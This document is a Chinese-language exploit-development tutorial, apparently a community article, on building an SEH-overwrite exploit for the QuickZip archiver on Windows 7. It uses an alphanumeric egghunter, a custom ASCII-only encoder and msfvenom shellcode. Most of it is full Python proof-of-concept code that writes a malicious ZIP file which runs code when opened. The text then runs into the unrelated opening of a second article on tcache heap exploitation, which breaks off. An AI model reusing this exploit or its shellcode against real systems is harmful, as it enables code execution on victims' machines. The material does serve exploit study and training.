x5c表示一个反斜杠，由QuickZip解释为一个文件夹…这可能在以后有一些影响，但现在没什么。
现在，我们需要做的最后一件事是写一组指令，将egghunter的起始地址放入EAX并跳转到它。
为了避免“坏”字符，我们将在EAX寄存器中设置我们需要的操作码的值，并将其压入我们调整的堆栈上。这样，我们需要的指令将写到我们控制的内存区域中。
下面用一个例子来解释。
让我们从实际想要写的指令开始吧：
push esp;
pop eax;
sub eax, 0xDEADBEEF
jmp eax;
很简单——将ESP压入堆栈中，将其弹出到EAX中，通过一定的值将其调整到egghunter中（我们不知道确切的值，因此现在的占位符为0xDEADBEEF），并跳转到EAX的调整地址。
下面生成我们需要的字节：
metasm > push esp
"x54"
metasm > pop eax
"x58"
metasm > sub eax, 0xDEADBEEF
"x2dxefxbexadxde"
metasm > jmp eax
"xffxe0"
把它们写成4个一组：
x54x58x2dxef
xbexadxdexff
xe0x90x90x90
因为我们一次写4个字节，所以我们需要在末尾填充3个nops（ x90）（把要写入的字节的总长度设为12）。
现在，让我们从右下角开始写字节（因为endianness的缘故）——这将指出我们实际需要压入堆栈的值。
x90x90x90xe0
xffxdexadxbe
xefx2dx58x54
记住，我们只能使用ASCII值，这意味着可以使用几乎任何01到7f字节的组合来进行计算。
让我们用一个对利用代码比较友好的指令，将第一组字节写入eax：
# zero out EAX
"x25x10x10x10x10" # and eax,0x10101010
"x25x01x01x01x01" # and eax,0x01010101
# write 0x909090e0 into EAX
"x05x70x70x70x70" # add eax, 0x70707070
"x05x70x20x20x20" # add eax, 0x20202070
"x50" # push eax;
我们来更新漏洞利用代码并运行它。
太棒了，我们已经在EAX中成功设定了我们需要的值，并把它压入堆栈上，实际上写的是我们需要的指令！
让我们对所有剩余的字节做同样的处理。
完成上述处理后，新的PoC应该如下所示：
#!/usr/bin/python
header_1 = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00xe4x0fx00x00x00")
header_2 = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00"
"x24x00x00x00x00x00x00x00")
header_3 = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"
"x12x10x00x00x02x10x00x00x00x00")
print "[+] Building PoC.."
max_size = 4064
nseh_offset = 292
jump_offset = 92
# msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
# [*] x86/alpha_mixed succeeded with size 146 (iteration=1)
egghunter = ("x50x59x49x49x49x49x49x49x49x49x49x49x49x49"
"x49x49x49x49x37x51x5ax6ax41x58x50x30x41x30"
"x41x6bx41x41x51x32x41x42x32x42x42x30x42x42"
"x41x42x58x50x38x41x42x75x4ax49x66x51x49x4b"
"x52x73x53x63x62x73x36x33x4ex53x6fx30x75x36"
"x6dx51x59x5ax49x6fx36x6fx72x62x71x42x42x4a"
"x66x46x56x38x74x73x78x49x4cx4bx4bx64x61x74"
"x49x6fx47x63x31x4ex50x5ax77x4cx77x75x53x44"
"x49x79x38x38x52x57x36x50x50x30x33x44x6cx4b"
"x59x6ax4ex4fx32x55x38x64x4ex4fx70x75x6bx51"
"x6bx4fx79x77x41x41")
payload = egghunter
payload += "A" * (nseh_offset - len(payload) - jump_offset) # padding for nSEH
# Offset the stack by 0x62C to start writing to a controlled area of memory
#
payload += "x54" # push esp;
payload += "x58" # pop eax;
payload += "x05x2dx07x01x01" # add eax, 0x0101072D
payload += "x2dx01x01x01x01" # sub eax, 0x01010101
payload += "x50" # push eax;
payload += "x5c" # pop esp;
# Write instructions for: push esp; pop eax; sub eax, 0xDEADBEEF; jmp eax
#
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0x909090e0 into EAX
payload += "x05x70x70x70x70" # add eax, 0x70707070
payload += "x05x70x20x20x20" # add eax, 0x20202070
payload += "x50" # push eax;
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xffdeadbe into EAX
payload += "x05x77x77x77x77" # add eax, 0x77777777
payload += "x05x37x25x57x77" # add eax, 0x77572537
payload += "x05x10x11x10x11" # add eax, 0x11101110
payload += "x50" # push eax;
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xef2d5854 into EAX
payload += "x05x43x47x1cx77" # add eax, 0x771c4743
payload += "x05x10x10x01x77" # add eax, 0x77011010
payload += "x05x01x01x10x01" # add eax, 0x01100101
payload += "x50" # push eax;
payload += "A" * (nseh_offset - len(payload)) # padding for the rest of encoder
payload += "x71x9bx70x9b" # nSEH: jno $-99; jo $-99 => '9b' will actually be converted to 'a2', which is $-92
payload += "x33x28x42x00" # SEH
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev"
payload += ".txt"
print "[+] Length = " + str(len(payload))
exploit = header_1 + payload + header_2 + payload + header_3
mefile = open('cst.zip','w');
mefile.write(exploit);
mefile.close()
print "[+] Exploit complete!"
执行之后：
太棒了，我们已经成功地利用有效字符编写出了想要的代码！ 现在只需跳回到该区域来执行就好了。
我们还需要将我们写入的临时0xDEADBEEF地址更改为实际的偏移量，前提是我们知道它是什么…但现在为时过早。
**跳转**
不幸的是，我们没有太多的空间可用于跳转：在我们的编码器代码之后只有5个字节，编码器代码之前是4个字节。所以，我们需要找到相应的指令，让我们跳转到刚写的代码。
事实证明，由于字符限制，实际上我们无法做太多的事情。 任何短的向后跳转指令都包含无效的字符，无法跳转至恰当的地方。所以，应该考虑是否重用之前用过的跳转。
下面来看看我们目前拥有的有效载荷。
我们需要发挥创造性。让我们重用SEH中的JNO跳转，以便再次回到我们控制的内存区域。我们可以在当前编码器有效载荷的开头部分添加一些NOP，然后通过自定义编码器用其他跳转指令将其覆盖，以将我们跳转到刚编写的代码之前。
哎，这样行得通吗？让我解释一下。
我们需要使用的跳转指令本来可以是简单的JMP $ -16（ xeb
xee），不幸的是它包含了无效的字符，因此不适用于我们…。但是，任何带有有效的字符的跳转指令都会让我们离的太远。
然而！我们可以使用自定义的编码器来处理它们，就像我们将egghunter的地址放置到EAX一样，只需要调整偏移量并修改代码即可。
首先，添加我们的JMP指令。然后，修改我们的原始堆栈，使SEH跳转能够准确到达我们的初始位置。最后，在编码器的开头部分添加一些NOP，它们之后将被所覆盖。下面我们具体介绍其工作原理。
这里，让我们先从自定义的编码器前面的NOP开始。 由于我们要求使用有效的字符集，因此可以使用 x41 x41（INC ECX）作为NOP。
接下来，进行堆栈调整。 从目前的状态来看，我们需要进一步偏移6个字节，以便写入到要覆盖的区域。为此，我们可以进行相应的调整。
最后，我们需要用编码器写入JNZ $ -16（ x75 xee）指令。 让我们用新的指令来替换最后两个 x90（记住这里使用的是little –
endianness，所以我们需要反过来写入）。
最后，代码将变成这样：
#...snip...
nseh_offset = 292
jump_offset = 92
#...snip...
payload = egghunter
payload += "A" * (nseh_offset - len(payload) - jump_offset) # padding for nSEH
payload += "x41x41" # INC ECX (acts as NOPs, but using valid character set)
# Offset the stack by 0x632 to start writing to a controlled area of memory
#
payload += "x54" # push esp;
payload += "x58" # pop eax;
payload += "x05x33x07x01x01" # add eax, 0x01010733
payload += "x2dx01x01x01x01" # sub eax, 0x01010101
payload += "x50" # push eax;
payload += "x5c" # pop esp;
# Write instructions for: push esp; pop eax; sub eax, 0xDEADBEEF; jmp eax; jnz 0xee
#
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xee7590e0 into EAX ==>> '0xee75' represents 'JNZ $-16' instruction
payload += "x05x70x70x74x77" # add eax, 0x77747070
payload += "x05x70x20x01x77" # add eax, 0x77012070
payload += "x50" # push eax;
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xffdeadbe into EAX
payload += "x05x77x77x77x77" # add eax, 0x77777777
payload += "x05x37x25x57x77" # add eax, 0x77572537
payload += "x05x10x11x10x11" # add eax, 0x11101110
payload += "x50" # push eax;
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xef2d5854 into EAX
payload += "x05x43x47x1cx77" # add eax, 0x771c4743
payload += "x05x10x10x01x77" # add eax, 0x77011010
payload += "x05x01x01x10x01" # add eax, 0x01100101
payload += "x50" # push eax;
payload += "A" * (nseh_offset - len(payload)) # padding for the rest of the encoder
payload += "x71x9bx70x9b" # nSEH: jno $-99; jo $-99 => '9b' will actually be converted to 'a2', which is $-92
payload += "x33x28x42x00" # SEH
#...snip...
一旦执行，会发生以下情况：
**崩溃被触发**
**POP-POP-RET指令被调用**
**获得JNO $ -92的跳转地址**
**从头开始执行自定义编码器**
**代码最终将到达第3步中跳转的JNO指令**
**再次取得JNO的跳转地址，但这次，我们登陆的第一条指令是刚刚写入的16个字节的跳转指令**
**获取跳转指令的跳转地址**
**使用自定义编码器写入要执行的指令**
我们来看看到底发生了什么。
执行自定义的编码器后：
取得JMP的跳转地址
在写入指令之前登陆，准备执行
真棒，正是我们期待的！ 现在我们只需要弄清楚用什么值替代0xDEADBEEF就可以了！
让我们来计算一下——ESP的当前值是0x0018FB4E，而egghunter代码从0x0018FA90开始，这意味着我们需要将EAX减去0xBE，让EAX指向我们的目的地。
我们开始修改漏洞利用代码，这里不是从EAX中减去0xDEADBEEF，而是减去0xBE。 PoC应进行以下修改：
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xff000000 into EAX
payload += "x05x01x01x01x77" # add eax, 0x77010101
payload += "x05x01x01x01x77" # add eax, 0x77010101
payload += "x05x10x10x10x22" # add eax, 0x22101010
payload += "x2dx12x12x12x11" # sub eax, 0x11121212
payload += "x50" # push eax;
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xbe2d5854 into EAX
payload += "x05x43x47x1cx67" # add eax, 0x671c4743
payload += "x05x11x11x11x57" # add eax, 0x57111111
payload += "x50" # push eax;
让我们来看看它会把我们带到哪里去。
真棒！我们跳转到了eghunter。现在，可以轻松插入选择的shellcode，并让egghunter找到它了。
我们来运行！mona findmsp，以防止我们的有效载荷仍然在内存中…
什么？！它消失了！去哪儿了？发生了什么？那些工作都白做了吗???
Ok，我知道咋回事。我们在自定义编码例程的开头部分添加的指令损坏了有效载荷，并导致我们的shellcode消失。出问题的指令是POP ESP（
x5c）——从前的同一个字节会让我们的文件名被解释为一个目录！
我花了很多时间思考、调试，并试图找出一个不会损坏有效载荷的替代方案，但没有成功。在使用有效字符集的情况下，事情根本没那么简单。
但是，还是有一个解决方案！也许不是很理想，但毕竟有办法了。看看我们的漏洞利用代码中的下面一行：
exploit = header_1 + payload + header_2 + payload + header_3
如果在header_3之后再次添加有效载荷，如何？ 这基本上就是在ZIP文件的末尾附加一些垃圾，但它仍然可以工作。
将该行做如下修改，并用QuickZip打开它。
exploit = header_1 + payload + header_2 + payload + header_3 + payload
有一个警告指出在文件末尾有一些垃圾，但没关系，因为仍然可以成功打开该文件。
让我们触发崩溃，看看这一次我们是否可以在内存中找到这个模版。
我的天哪，它就在那里！！！
**Shellcode**
现在，我们只需安装常规流程来处理一下shellcode就行了——我们需要找出坏字符，然后在shellcode之前插入一个“egg”（w00tw00t）并对齐堆栈。
我不会详细介绍寻找坏字符的细枝末节，因为我已经在这里详细介绍过了。 幸运的是，对于我们来说，这部分有效负载中仅有的坏字符是 x00， x0a和 x0d。
我们还需要在shellcode的开头插入w00tw00t字符，以确保egghunter可以定位它，并将执行权重定向到“egg”之后的第一个指令。
最后，我们需要对齐堆栈，以确保ESP指向一个16字节倍数的地址。
这样做的原因是有一些“SIMD”（单指令，多数据）指令可以并行处理内存中的多个字，所以要求这些字的起始地址是16字节的倍数。
如果我们没有正确对齐堆栈，那么shellcode根本不起作用。 我们可以轻松地利用单个指令AND
esp，0xFFFFFFF0来对齐堆栈，也就是让它正好在w00tw00t“蛋”之后，在实际shellcode之前。
对于这个概念验证来说，我们将使用msfvenom生成一个简单的、弹出计算器的shellcode，具体如下所示：
shellcode = "w00tw00t" # egg
shellcode += "x81xe4xf0xffxffxff" # align the stack: AND esp,0xFFFFFFF0
# msfvenom -p windows/exec CMD=calc.exe -b 'x00x0ax0d'
# [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode += ("xbfxdcxaex26x3dxdaxddxd9x74x24xf4x5bx31xc9"
"xb1x33x31x7bx12x03x7bx12x83x37x52xc4xc8x3b"
"x43x80x33xc3x94xf3xbax26xa5x21xd8x23x94xf5"
"xaax61x15x7dxfex91xaexf3xd7x96x07xb9x01x99"
"x98x0fx8ex75x5ax11x72x87x8fxf1x4bx48xc2xf0"
"x8cxb4x2dxa0x45xb3x9cx55xe1x81x1cx57x25x8e"
"x1dx2fx40x50xe9x85x4bx80x42x91x04x38xe8xfd"
"xb4x39x3dx1ex88x70x4axd5x7ax83x9ax27x82xb2"
"xe2xe4xbdx7bxefxf5xfaxbbx10x80xf0xb8xadx93"
"xc2xc3x69x11xd7x63xf9x81x33x92x2ex57xb7x98"
"x9bx13x9fxbcx1axf7xabxb8x97xf6x7bx49xe3xdc"
"x5fx12xb7x7dxf9xfex16x81x19xa6xc7x27x51x44"
"x13x51x38x02xe2xd3x46x6bxe4xebx48xdbx8dxda"
"xc3xb4xcaxe2x01xf1x25xa9x08x53xaex74xd9xe6"
"xb3x86x37x24xcax04xb2xd4x29x14xb7xd1x76x92"
"x2bxabxe7x77x4cx18x07x52x2fxffx9bx3ex9ex9a"
"x1bxa4xde")
而涵盖迄今所讨论的所有内容的PoC代码如下所示：
#!/usr/bin/python
header_1 = ("x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00xe4x0fx00x00x00")
header_2 = ("x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00"
"x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00"
"x24x00x00x00x00x00x00x00")
header_3 = ("x50x4Bx05x06x00x00x00x00x01x00x01x00"
"x12x10x00x00x02x10x00x00x00x00")
print "[+] Building PoC.."
max_size = 4064
nseh_offset = 292
jump_offset = 92
# msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
# [*] x86/alpha_mixed succeeded with size 146 (iteration=1)
egghunter = ("x50x59x49x49x49x49x49x49x49x49x49x49x49x49"
"x49x49x49x49x37x51x5ax6ax41x58x50x30x41x30"
"x41x6bx41x41x51x32x41x42x32x42x42x30x42x42"
"x41x42x58x50x38x41x42x75x4ax49x66x51x49x4b"
"x52x73x53x63x62x73x36x33x4ex53x6fx30x75x36"
"x6dx51x59x5ax49x6fx36x6fx72x62x71x42x42x4a"
"x66x46x56x38x74x73x78x49x4cx4bx4bx64x61x74"
"x49x6fx47x63x31x4ex50x5ax77x4cx77x75x53x44"
"x49x79x38x38x52x57x36x50x50x30x33x44x6cx4b"
"x59x6ax4ex4fx32x55x38x64x4ex4fx70x75x6bx51"
"x6bx4fx79x77x41x41")
payload = egghunter
payload += "A" * (nseh_offset - len(payload) - jump_offset) # padding for nSEH
payload += "x41x41" # INC ECX (acts as NOPs, but with valid character set)
# Offset the stack by 0x632 to start writing to a controlled area of memory
#
payload += "x54" # push esp;
payload += "x58" # pop eax;
payload += "x05x33x07x01x01" # add eax, 0x01010733
payload += "x2dx01x01x01x01" # sub eax, 0x01010101
payload += "x50" # push eax;
payload += "x5c" # pop esp;
# Write instructions for: push esp; pop eax; sub eax, 0xBE; jmp eax; jmp 0xee
#
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xeceb90e0 into EAX
payload += "x05x70x70x77x77" # add eax, 0x77777070
payload += "x05x70x20x74x77" # add eax, 0x77742070
payload += "x50" # push eax;
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xff000000 into EAX
payload += "x05x01x01x01x77" # add eax, 0x77010101
payload += "x05x01x01x01x77" # add eax, 0x77010101
payload += "x05x10x10x10x22" # add eax, 0x22101010
payload += "x2dx12x12x12x11" # sub eax, 0x11121212
payload += "x50" # push eax;
# Zero-out EAX
payload += "x25x01x01x01x01" # and eax,0x01010101
payload += "x25x10x10x10x10" # and eax,0x10101010
# write 0xbe2d5854 into EAX
payload += "x05x43x47x1cx67" # add eax, 0x671c4743
payload += "x05x11x11x11x57" # add eax, 0x57111111
payload += "x50" # push eax;
payload += "A" * (nseh_offset - len(payload)) # padding for the rest of encoder
payload += "x71x9bx70x9b" # nSEH: jno $-99; jo $-99 => '9b' will actually be converted to 'a2', which is $-92
payload += "x33x28x42x00" # SEH
shellcode = "w00tw00t" # egg
shellcode += "x81xe4xf0xffxffxff" # align the stack: AND esp,0xFFFFFFF0
# msfvenom -p windows/exec CMD=calc.exe -b 'x00x0ax0d'
# [*] x86/shikata_ga_nai succeeded with size 227 (iteration=1)
shellcode += ("xbfxdcxaex26x3dxdaxddxd9x74x24xf4x5bx31xc9"
"xb1x33x31x7bx12x03x7bx12x83x37x52xc4xc8x3b"
"x43x80x33xc3x94xf3xbax26xa5x21xd8x23x94xf5"
"xaax61x15x7dxfex91xaexf3xd7x96x07xb9x01x99"
"x98x0fx8ex75x5ax11x72x87x8fxf1x4bx48xc2xf0"
"x8cxb4x2dxa0x45xb3x9cx55xe1x81x1cx57x25x8e"
"x1dx2fx40x50xe9x85x4bx80x42x91x04x38xe8xfd"
"xb4x39x3dx1ex88x70x4axd5x7ax83x9ax27x82xb2"
"xe2xe4xbdx7bxefxf5xfaxbbx10x80xf0xb8xadx93"
"xc2xc3x69x11xd7x63xf9x81x33x92x2ex57xb7x98"
"x9bx13x9fxbcx1axf7xabxb8x97xf6x7bx49xe3xdc"
"x5fx12xb7x7dxf9xfex16x81x19xa6xc7x27x51x44"
"x13x51x38x02xe2xd3x46x6bxe4xebx48xdbx8dxda"
"xc3xb4xcaxe2x01xf1x25xa9x08x53xaex74xd9xe6"
"xb3x86x37x24xcax04xb2xd4x29x14xb7xd1x76x92"
"x2bxabxe7x77x4cx18x07x52x2fxffx9bx3ex9ex9a"
"x1bxa4xde")
payload += shellcode
payload += "A" * (max_size - len(payload)) # padding
payload += ".txt"
print "[+] Length = " + str(len(payload))
exploit = header_1 + payload + header_2 + payload + header_3 + payload
mefile = open('cst.zip','w');
mefile.write(exploit);
mefile.close()
print "[+] Exploit complete!"
当我们打开生成的cst.zip文件时，我们的漏洞利用代码就会运行，几秒钟（因为egghunter通过应用程序的内存找到“蛋”）后，我们应该看到计算器被打开。
成功了！！
**小结**
在本文中，我们已经成功地重新创建了QuickZip漏洞利用代码的64位版本，它已经可以在Windows 7上运行了！
总而言之，我们通过使用非常有限的、被允许的字符集（几乎可以ASCII打印）创建了一个egghunter漏洞利用代码，编写了我们自己的编码器，并通过在内存中的跳转，到达egghunter代码，最终到达shellcode。
需要注意的是：
找出允许使用的字符，并在发生错误时记住这些字符
如果缓冲区大小不够，不要气馁——发挥你的创造性！
确保您使用正确的egghunter代码（32位与64位），具体取决于您正在开发漏洞的平台
编写自己的编码器不是那么难，但需要大量的练习和耐心
确保在执行shellcode之前对齐堆栈 | 社区文章 |
# tcache Attack：lctf2018 easy_heap
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 本文摘要：
* tcache机制与特性、攻击手段
* off-by-one漏洞
* 两种典型内存泄露手段：深入分析几处源码
## 引言：
前段时间的lctf2018中，第一道pwn题打击很大，深感知识储备捉襟见肘，虽然逆向分析五分钟之内就迅速确定了off-by-one漏洞的存在，但是由于对堆块重用机制和libc2.26之后新增的tcache机制一无所知，导致此题最终留憾；而在赛后了解到这两个机制后进行的复现过程中，最深的感受就是，这年头不好好审libc源码是不行了，否则真的是阻碍重重！
## 前置知识：堆块重用机制与size字段对齐计算方式
参考文章：<https://www.freebuf.com/articles/system/91527.html>
近期继续匍匐在堆漏洞的学习路途上，接触了unsorted bin attack、fastbin attack、off by
one三个漏洞，不过最终还是在off by one的学习上晚了一步，导致lctf
